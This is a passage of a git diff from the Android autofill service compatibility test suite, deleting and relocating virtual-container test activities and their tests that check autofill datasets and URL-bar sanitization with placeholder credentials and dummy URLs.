-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.welcome_activity);
-
-        final Uri data = getIntent().getData();
-        ActivityCustomAction type = ActivityCustomAction.valueOf(data.getSchemeSpecificPart());
-
-        switch (type) {
-            case FAST_FORWARD_ANOTHER_ACTIVITY:
-                startSecondActivity();
-                break;
-            case TAP_BACK_WITHOUT_FINISH:
-                mHasCustomBackBehavior = true;
-                break;
-            case NORMAL_ACTIVITY:
-            default:
-                // no-op
-        }
-
-        TextView welcome = (TextView) findViewById(R.id.welcome);
-        welcome.setText(DEFAULT_MESSAGE);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Setting sInstance to null onDestroy()");
-        sInstance = null;
-    }
-
-    @Override
-    public void finish() {
-        super.finish();
-        mHasCustomBackBehavior = false;
-    }
-
-    @Override
-    public void onBackPressed() {
-        if (mHasCustomBackBehavior) {
-            moveTaskToBack(true);
-            return;
-        }
-        super.onBackPressed();
-    }
-
-    static void finishIt() {
-        if (sInstance != null) {
-            sInstance.finish();
-        }
-    }
-
-    private void startSecondActivity() {
-        final Intent intent = new Intent(this, SecondActivity.class)
-                .setFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
-        startActivity(intent);
-        finish();
-    }
-
-    static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
-        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
-        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
-                .isEqualTo(DEFAULT_MESSAGE);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index 5d03c03..1444e43 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -16,17 +16,21 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.assist.AssistStructure;
+import android.autofillservice.cts.activities.ViewAttributesTestActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
 import android.platform.test.annotations.AppModeFull;
 import android.view.View;
 import android.view.autofill.AutofillValue;
 import android.widget.EditText;
 
-
 import androidx.annotation.IdRes;
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTestActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTestActivity.java
deleted file mode 100644
index 4003f78..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTestActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import androidx.annotation.Nullable;
-
-public class ViewAttributesTestActivity extends AbstractAutoFillActivity {
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.view_attribute_test_activity);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
deleted file mode 100644
index a90b840..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.VirtualContainerView.Line;
-import android.autofillservice.cts.VirtualContainerView.Line.OneTimeLineWatcher;
-import android.graphics.Canvas;
-import android.os.Bundle;
-import android.text.InputType;
-import android.widget.EditText;
-
-/**
- * A custom activity that uses {@link Canvas} to draw the following fields:
- *
- * <ul>
- *   <li>Username
- *   <li>Password
- * </ul>
- */
-public class VirtualContainerActivity extends AbstractAutoFillActivity {
-
-    static final String BLANK_VALUE = "        ";
-    static final String INITIAL_URL_BAR_VALUE = "ftp://dev.null/4/8/15/16/23/42";
-
-    EditText mUrlBar;
-    EditText mUrlBar2;
-    VirtualContainerView mCustomView;
-
-    Line mUsername;
-    Line mPassword;
-
-    private FillExpectation mExpectation;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.virtual_container_activity);
-
-        mUrlBar = findViewById(R.id.my_url_bar);
-        mUrlBar2 = findViewById(R.id.my_url_bar2);
-        mCustomView = findViewById(R.id.virtual_container_view);
-
-        mUrlBar.setText(INITIAL_URL_BAR_VALUE);
-        mUsername = mCustomView.addLine(ID_USERNAME_LABEL, "Username", ID_USERNAME, BLANK_VALUE,
-                InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL);
-        mPassword = mCustomView.addLine(ID_PASSWORD_LABEL, "Password", ID_PASSWORD, BLANK_VALUE,
-                InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
-    }
-
-    /**
-     * Triggers manual autofill in a given line.
-     */
-    void requestAutofill(Line line) {
-        getAutofillManager().requestAutofill(mCustomView, line.text.id, line.bounds);
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(String username, String password) {
-        mExpectation = new FillExpectation(username, password);
-        mUsername.setTextChangedListener(mExpectation.ccUsernameWatcher);
-        mPassword.setTextChangedListener(mExpectation.ccPasswordWatcher);
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, String)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.ccUsernameWatcher.assertAutoFilled();
-        mExpectation.ccPasswordWatcher.assertAutoFilled();
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final OneTimeLineWatcher ccUsernameWatcher;
-        private final OneTimeLineWatcher ccPasswordWatcher;
-
-        private FillExpectation(String username, String password) {
-            ccUsernameWatcher = mUsername.new OneTimeLineWatcher(username);
-            ccPasswordWatcher = mPassword.new OneTimeLineWatcher(password);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
deleted file mode 100644
index 1ba98d4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
+++ /dev/null
@@ -1,300 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.InstrumentedAutoFillServiceCompatMode.SERVICE_NAME;
-import static android.autofillservice.cts.InstrumentedAutoFillServiceCompatMode.SERVICE_PACKAGE;
-import static android.autofillservice.cts.VirtualContainerActivity.INITIAL_URL_BAR_VALUE;
-import static android.autofillservice.cts.VirtualContainerView.ID_URL_BAR;
-import static android.autofillservice.cts.VirtualContainerView.ID_URL_BAR2;
-import static android.provider.Settings.Global.AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_GLOBAL;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.AutofillOptions;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.SaveInfo;
-
-import com.android.compatibility.common.util.SettingsStateChangerRule;
-import com.android.compatibility.common.util.SettingsUtils;
-
-import org.junit.After;
-import org.junit.ClassRule;
-import org.junit.Test;
-
-/**
- * Test case for an activity containing virtual children but using the A11Y compat mode to implement
- * the Autofill APIs.
- */
-public class VirtualContainerActivityCompatModeTest extends VirtualContainerActivityTest {
-
-    @ClassRule
-    public static final SettingsStateChangerRule sCompatModeChanger = new SettingsStateChangerRule(
-            sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
-            SERVICE_PACKAGE + "[my_url_bar]");
-
-    public VirtualContainerActivityCompatModeTest() {
-        super(true);
-    }
-
-    @After
-    public void resetCompatMode() {
-        sContext.getApplicationContext().setAutofillOptions(null);
-    }
-
-    @Override
-    protected void preActivityCreated() {
-        sContext.getApplicationContext()
-                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
-    }
-
-    @Override
-    protected void postActivityLaunched() {
-        // Set our own compat mode as well..
-        mActivity.mCustomView.setCompatMode(true);
-    }
-
-    @Override
-    protected void enableService() {
-        Helper.enableAutofillService(getContext(), SERVICE_NAME);
-    }
-
-    @Override
-    protected void disableService() {
-        Helper.disableAutofillService(getContext());
-    }
-
-    @Override
-    protected void assertUrlBarIsSanitized(ViewNode urlBar) {
-        assertTextIsSanitized(urlBar);
-        assertThat(urlBar.getWebDomain()).isEqualTo("dev.null");
-        assertThat(urlBar.getWebScheme()).isEqualTo("ftp");
-    }
-
-    @Test
-    public void testMultipleUrlBars_firstDoesNotExist() throws Exception {
-        SettingsUtils.syncSet(sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
-                SERVICE_PACKAGE + "[first_am_i,my_url_bar]");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
-                .build());
-
-        // Trigger autofill.
-        focusToUsername();
-        assertDatasetShown(mActivity.mUsername, "DUDE");
-
-        // Make sure input was sanitized.
-        final FillRequest request = sReplier.getNextFillRequest();
-        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
-
-        assertUrlBarIsSanitized(urlBar);
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testMultipleUrlBars_bothExist() throws Exception {
-        SettingsUtils.syncSet(sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
-                SERVICE_PACKAGE + "[my_url_bar,my_url_bar2]");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
-                .build());
-
-        // Trigger autofill.
-        focusToUsername();
-        assertDatasetShown(mActivity.mUsername, "DUDE");
-
-        // Make sure input was sanitized.
-        final FillRequest request = sReplier.getNextFillRequest();
-        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
-        final ViewNode urlBar2 = findNodeByResourceId(request.structure, ID_URL_BAR2);
-
-        assertUrlBarIsSanitized(urlBar);
-        assertTextIsSanitized(urlBar2);
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testFocusOnUrlBarIsIgnored() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.requestFocus());
-
-        // Must force sleep, as there is no callback that we can wait upon.
-        SystemClock.sleep(Timeouts.FILL_TIMEOUT.ms());
-
-        sReplier.assertNoUnhandledFillRequests();
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testUrlBarChangeIgnoredWhenServiceCanSave() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Fill in some stuff
-        mActivity.mUsername.setText("foo");
-        focusToPasswordExpectNoWindowEvent();
-        mActivity.mPassword.setText("bar");
-
-        // Change URL bar before views become invisible
-        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
-                mActivity.mUrlBar, "http://null/dev");
-        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
-        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
-        urlWatcher.assertAutoFilled();
-
-        // Trigger save.
-        // TODO(b/76220569): ideally, save should be triggered by calling:
-        //
-        // setViewsInvisible(VisibilityIntegrationMode.OVERRIDE_IS_VISIBLE_TO_USER);
-        //
-        // But unfortunately that's not always working due to flakiness on showing the UI, hence
-        // we're forcing commit - after all, the point here is the the URL update above didn't
-        // cancel the session (which is the case on
-        // testUrlBarChangeCancelSessionWhenServiceCannotSave()
-        mActivity.getAutofillManager().commit();
-
-        // Assert UI is showing.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-        final ViewNode urlBar = findNodeByResourceId(saveRequest.structure, ID_URL_BAR);
-
-        assertTextAndValue(username, "foo");
-        assertTextAndValue(password, "bar");
-        // Make sure it's the URL bar from initial session.
-        assertTextAndValue(urlBar, INITIAL_URL_BAR_VALUE);
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testUrlBarChangeCancelSessionWhenServiceCannotSave() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                    .setField(ID_USERNAME, "dude")
-                    .setField(ID_PASSWORD, "sweet")
-                    .setPresentation(createPresentation("The Dude"))
-                    .build())
-                // there's no SaveInfo here
-                .build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude");
-
-        // Fill in some stuff
-        mActivity.mUsername.setText("foo");
-        focusToPasswordExpectNoWindowEvent();
-        mActivity.mPassword.setText("bar");
-
-        // Change URL bar before views become invisible
-        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
-                mActivity.mUrlBar, "http://null/dev");
-        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
-        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
-        urlWatcher.assertAutoFilled();
-
-        // Trigger save...
-        mActivity.getAutofillManager().commit();
-
-        // ... should not be triggered because the session was already canceled...
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
-    public void testUrlBarChangeCancelSessionWhenServiceReturnsNullResponse() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Fill in some stuff
-        mActivity.mUsername.setText("foo");
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-        focusToPasswordExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-        mActivity.mPassword.setText("bar");
-
-        // Change URL bar before views become invisible
-        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
-                mActivity.mUrlBar, "http://null/dev");
-        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
-        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
-        urlWatcher.assertAutoFilled();
-
-        // Trigger save...
-        mActivity.getAutofillManager().commit();
-
-        // ... should not be triggered because the session was already canceled...
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
deleted file mode 100644
index 4cdf811..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ /dev/null
@@ -1,808 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertTextOnly;
-import static android.autofillservice.cts.Helper.dumpStructure;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.VirtualContainerView.ID_URL_BAR;
-import static android.autofillservice.cts.VirtualContainerView.LABEL_CLASS;
-import static android.autofillservice.cts.VirtualContainerView.TEXT_CLASS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.VirtualContainerView.Line;
-import android.autofillservice.cts.VirtualContainerView.VisibilityIntegrationMode;
-import android.graphics.Rect;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-import android.text.InputType;
-import android.view.ViewGroup;
-import android.view.autofill.AutofillManager;
-
-import org.junit.Ignore;
-import org.junit.Test;
-
-import java.util.concurrent.TimeoutException;
-
-/**
- * Test case for an activity containing virtual children, either using the explicit Autofill APIs
- * or Compat mode.
- */
-public class VirtualContainerActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<VirtualContainerActivity> {
-
-    // TODO(b/74256300): remove when fixed it :-)
-    private static final boolean BUG_74256300_FIXED = false;
-
-    private final boolean mCompatMode;
-    private AutofillActivityTestRule<VirtualContainerActivity> mActivityRule;
-    protected VirtualContainerActivity mActivity;
-
-    public VirtualContainerActivityTest() {
-        this(false);
-    }
-
-    protected VirtualContainerActivityTest(boolean compatMode) {
-        mCompatMode = compatMode;
-    }
-
-    /**
-     * Hook for subclass to customize test before activity is created.
-     */
-    protected void preActivityCreated() {}
-
-    /**
-     * Hook for subclass to customize activity after it's launched.
-     */
-    protected void postActivityLaunched() {}
-
-    @Override
-    protected AutofillActivityTestRule<VirtualContainerActivity> getActivityRule() {
-        if (mActivityRule == null) {
-            mActivityRule = new AutofillActivityTestRule<VirtualContainerActivity>(
-                    VirtualContainerActivity.class) {
-                @Override
-                protected void beforeActivityLaunched() {
-                    preActivityCreated();
-                }
-
-                @Override
-                protected void afterActivityLaunched() {
-                    mActivity = getActivity();
-                    postActivityLaunched();
-                }
-            };
-
-        }
-        return mActivityRule;
-    }
-
-    @Test
-    public void testAutofillSync() throws Exception {
-        autofillTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillSync() is enough")
-    public void testAutofillAsync() throws Exception {
-        skipTestOnCompatMode();
-
-        autofillTest(false);
-    }
-
-    @Test
-    public void testAutofill_appContext() throws Exception {
-        mActivity.mCustomView.setAutofillManager(mActivity.getApplicationContext());
-        autofillTest(true);
-        // Validation check to make sure autofill is enabled in the application context
-        assertThat(mActivity.getApplicationContext().getSystemService(AutofillManager.class)
-                .isEnabled()).isTrue();
-    }
-
-    /**
-     * Focus to username and expect window event
-     */
-    void focusToUsername() throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.mUsername.changeFocus(true));
-    }
-
-    /**
-     * Focus to username and expect no autofill window event
-     */
-    void focusToUsernameExpectNoWindowEvent() throws Throwable {
-        // TODO: should use waitForWindowChange() if we can filter out event of app Activity itself.
-        mActivityRule.runOnUiThread(() -> mActivity.mUsername.changeFocus(true));
-    }
-
-    /**
-     * Focus to password and expect window event
-     */
-    void focusToPassword() throws TimeoutException {
-        mUiBot.waitForWindowChange(() -> mActivity.mPassword.changeFocus(true));
-    }
-
-    /**
-     * Focus to password and expect no autofill window event
-     */
-    void focusToPasswordExpectNoWindowEvent() throws Throwable {
-        // TODO should use waitForWindowChange() if we can filter out event of app Activity itself.
-        mActivityRule.runOnUiThread(() -> mActivity.mPassword.changeFocus(true));
-    }
-
-    /**
-     * Tests autofilling the virtual views, using the sync / async version of ViewStructure.addChild
-     */
-    private void autofillTest(boolean sync) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
-                .setField(ID_PASSWORD, "sweet", createPresentation("SWEET"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-        mActivity.mCustomView.setSync(sync);
-
-        // Trigger auto-fill.
-        focusToUsername();
-        assertDatasetShown(mActivity.mUsername, "DUDE");
-
-        // Play around with focus to make sure picker is properly drawn.
-        if (BUG_74256300_FIXED || !mCompatMode) {
-            focusToPassword();
-            assertDatasetShown(mActivity.mPassword, "SWEET");
-
-            focusToUsername();
-            assertDatasetShown(mActivity.mUsername, "DUDE");
-        }
-
-        // Make sure input was sanitized.
-        final FillRequest request = sReplier.getNextFillRequest();
-        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
-        final ViewNode usernameLabel = findNodeByResourceId(request.structure, ID_USERNAME_LABEL);
-        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
-        final ViewNode passwordLabel = findNodeByResourceId(request.structure, ID_PASSWORD_LABEL);
-        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
-
-        assertUrlBarIsSanitized(urlBar);
-        assertTextIsSanitized(username);
-        assertTextIsSanitized(password);
-        assertLabel(usernameLabel, "Username");
-        assertLabel(passwordLabel, "Password");
-
-        assertThat(usernameLabel.getClassName()).isEqualTo(LABEL_CLASS);
-        assertThat(username.getClassName()).isEqualTo(TEXT_CLASS);
-        assertThat(passwordLabel.getClassName()).isEqualTo(LABEL_CLASS);
-        assertThat(password.getClassName()).isEqualTo(TEXT_CLASS);
-
-        assertThat(username.getIdEntry()).isEqualTo(ID_USERNAME);
-        assertThat(password.getIdEntry()).isEqualTo(ID_PASSWORD);
-
-        assertThat(username.getInputType())
-                .isEqualTo(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL);
-        assertThat(usernameLabel.getInputType()).isEqualTo(0);
-        assertThat(password.getInputType())
-                .isEqualTo(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
-        assertThat(passwordLabel.getInputType()).isEqualTo(0);
-
-        final String[] autofillHints = username.getAutofillHints();
-        final boolean hasCompatModeFlag = (request.flags
-                & android.service.autofill.FillRequest.FLAG_COMPATIBILITY_MODE_REQUEST) != 0;
-        if (mCompatMode) {
-            assertThat(hasCompatModeFlag).isTrue();
-            assertThat(autofillHints).isNull();
-            assertThat(username.getHtmlInfo()).isNull();
-            assertThat(password.getHtmlInfo()).isNull();
-        } else {
-            assertThat(hasCompatModeFlag).isFalse();
-            // Make sure order is preserved and dupes not removed.
-            assertThat(autofillHints).asList()
-                    .containsExactly("c", "a", "a", "b", "a", "a")
-                    .inOrder();
-            try {
-                VirtualContainerView.assertHtmlInfo(username);
-                VirtualContainerView.assertHtmlInfo(password);
-            } catch (AssertionError | RuntimeException e) {
-                dumpStructure("HtmlInfo failed", request.structure);
-                throw e;
-            }
-        }
-
-        // Make sure initial focus was properly set.
-        assertWithMessage("Username node is not focused").that(username.isFocused()).isTrue();
-        assertWithMessage("Password node is focused").that(password.isFocused()).isFalse();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("DUDE");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillSync() is enough")
-    public void testAutofillTwoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setField(ID_PASSWORD, "SWEET")
-                        .setPresentation(createPresentation("THE DUDE"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("DUDE", "SWEET");
-
-        // Trigger auto-fill.
-        focusToUsername();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
-
-        // Play around with focus to make sure picker is properly drawn.
-        if (BUG_74256300_FIXED || !mCompatMode) {
-            focusToPassword();
-            assertDatasetShown(mActivity.mPassword, "The Dude", "THE DUDE");
-            focusToUsername();
-            assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
-        }
-
-        // Auto-fill it.
-        mUiBot.selectDataset("THE DUDE");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillOverrideDispatchProvideAutofillStructure() throws Exception {
-        mActivity.mCustomView.setOverrideDispatchProvideAutofillStructure(true);
-        autofillTest(true);
-    }
-
-    @Test
-    public void testAutofillManuallyOneDataset() throws Exception {
-        skipTestOnCompatMode(); // TODO(b/73557072): not supported yet
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        mActivity.requestAutofill(mActivity.mUsername);
-        sReplier.getNextFillRequest();
-
-        // Select datatest.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
